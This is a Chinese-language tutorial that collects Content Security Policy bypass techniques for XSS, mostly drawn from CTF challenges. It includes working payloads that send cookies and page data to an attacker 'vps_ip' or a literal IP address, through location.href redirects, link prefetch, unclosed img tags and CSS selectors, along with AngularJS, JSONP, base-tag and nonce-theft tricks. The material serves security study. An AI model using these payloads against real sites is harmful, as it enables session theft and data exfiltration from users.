我的CSP绕过思路及总结

CSP简介

内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。
当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。
CSP的具体介绍可以看看手册内容安全策略

CSP的绕过

CSP的绕过从CSP的诞生开始就一直被前端的安全研究人员所热衷,本文总结一些我了解到的CSP的绕过方式,若有不足,敬请批评补充

location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用
当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

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location.href = "vps_ip:xxxx?"+document.cookie

有人跟我说可以跳过去再跳回来,但是这样不是会死循环一直跳来跳去吗2333333
利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

link标签导致的绕过

这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了
因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。
所以我们可以通过此标签将数据带外

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<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

当然这个是我们写死的标签,如何把数据带外?

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var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

这样就可以把cookie带外了
利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

使用Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效
A页面:

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<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

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<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

"我的CSP绕过思路及总结"

setTimeout是为了等待iframe加载完成
利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞
  2. 我们需要的数据在存在CSP保护的页面

用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章Hackmd XSS
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

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<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn服务商列表
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
除了低版本angular js的模板注入,还有许多库可以绕过CSP
下面引用https://www.jianshu.com/p/f1de775bc43e
如果用了Jquery-mobile库,且CSP中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,可以用此exp

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<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

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<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
利用条件:

  1. CDN服务商存在某些低版本的js库
  2. 此CDN服务商在CSP白名单中

站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss
案例中codimd的CSP中使用了www.google-analytics.com
www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
"站点可控静态资源绕过"

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<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

"站点可控静态资源绕过"

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:

  1. 站点存在可控静态资源
  2. 站点在CSP白名单中

站点可控JSONP绕过

JSONP的详细介绍可以看看我之前的一篇文章https://xz.aliyun.com/t/4470
大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析
以ins’hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com

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Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去非常天衣无缝,但是google站点存在了用户可控jsonp

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<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

"www.5658.pw"
配合注释符,我们即可执行任意js
下面是一些存在用户可控资源或者jsonp比较常用站点的github项目
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
利用条件:

  1. 站点存在可控Jsonp
  2. 站点在CSP白名单中

Base-uri绕过

第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解<https://blog.cal1.cn/post/RCTF 2018 rBlog writeup>
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径
exp

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<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

"www.5658.pw"
"www.5658.pw"
注意:如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法,因为vps_ip不在csp白名单内

利用条件:

  1. script-src只使用nonce
  2. 没有额外设置base-uri
  3. 页面引用存在相对路径的<script>标签

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

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<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

如果我们输入 http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1) 即可xss
这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce=’xxxxx’会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src
"www.5658.pw"

但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行
"www.5658.pw"
这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略

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<!-- 3.php -->
<h1 a="123" b="456" a="789" a="abc">123</h1>

"www.5658.pw"

于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a=
先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行

"www.5658.pw"

利用条件:

  1. 可控点在合法script标签上方,且其中没有其他标签
  2. XSS页面的CSP script-src只采用了nonce方式

object-src绕过(PDFXSS)

假如只有这一个页面,我们能有办法执行JS吗

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<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

在CSP标准里面,有一个属性是object-src,它限制的是 标签的src,也就是插件的src
于是我们可以通过插件来执行Javascript代码,插件的js代码并不受script-src的约束
最常见的就是flash-xss,但是flash实在太老,而且我想在看的师傅们也很少会开浏览器的flash了,所以我这里也不说明了,这里主要讲之前一个提交asrc的pdf-xss为例
PDF文件中允许执行javascript脚本,但是之前浏览器的pdf解析器并不会解析pdf中的js,但是之前chrome的一次更新中突然允许加载pdf的javascript脚本

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<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>

"www.5658.pw"
当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等
具体可以看看这篇文章https://blog.csdn.net/microzone/article/details/52850623
里面有上面实例用的恶意pdf文件

当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件

利用条件:

  1. 没有设置object-src,或者object-src没有设置为’none’
  2. pdf用的是chrome的默认解析器

SVG绕过

SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss

之前的easer CONFidence CTF就出过svg的xss
引用 https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/
1.svg

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<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

"www.5658.pw"
利用条件:

  1. 可以上传svg图片

不完整的资源标签获取资源

看看下面的例子,我们如何把flag给带出来

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<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见
虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出

exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=
此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上
"www.5658.pw"
需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<,否者不会发出
"www.5658.pw"
利用条件:

  1. 可以加载外域资源 (img-src: *)
  2. 需要获取页面某处的信息
  3. 不好总结,看上面例子,懂意思就行

CSS选择器获取内容

这个来自2018 SECCON CTF的一道题,虽然原题中不是用来绕csp,但是也能拿过来利用,当然利用条件比较苛刻,需要
设置style-src为*,或者只设置了script-src
原题可以看看这篇文章https://www.yourhome.ren/index.php/sec/608.html
大概思路就是css提供了选择器,当选择器到对应元素的时,可以加载一个外域请求,相当于sql的盲注

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//这里引用的是上面文章中的exp
input[value^="6703"] {background-image:url("http://vps_ip/?6703");}

这句话的意思是,当input的value值已6703开头,则去加载后面的url,于是我们可以一位一位爆破,先猜第一位,再猜第二位。。。

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<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; style-src 'unsafe-inline';img-src *">
<?php echo $_GET['xss']?>
<input value="flag{0xffff}">

exp: http://127.0.0.1/1.php?xss=<style>input[value^="flag{0xffff}"] {background-image:url("http://47.106.65.216:1002/?flag{0xffff}")}%3C/style%3E
"www.5658.pw"
太苛刻了,之前想到随便提一下好了
利用条件:(好苛刻啊都不想写了)

  1. style允许内敛,img可以跨域
  2. 需要获取的数据在页面内
  3. 可以新建标签
  4. 可以多次发送xss且获取的数据不会变(毕竟不可能一次请求就注出来,除非能执行js写脚本一口气注)

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP
原题github https://github.com/Lou00/HCTF2018_Bottle

这个原理比较简单,就不写条件了

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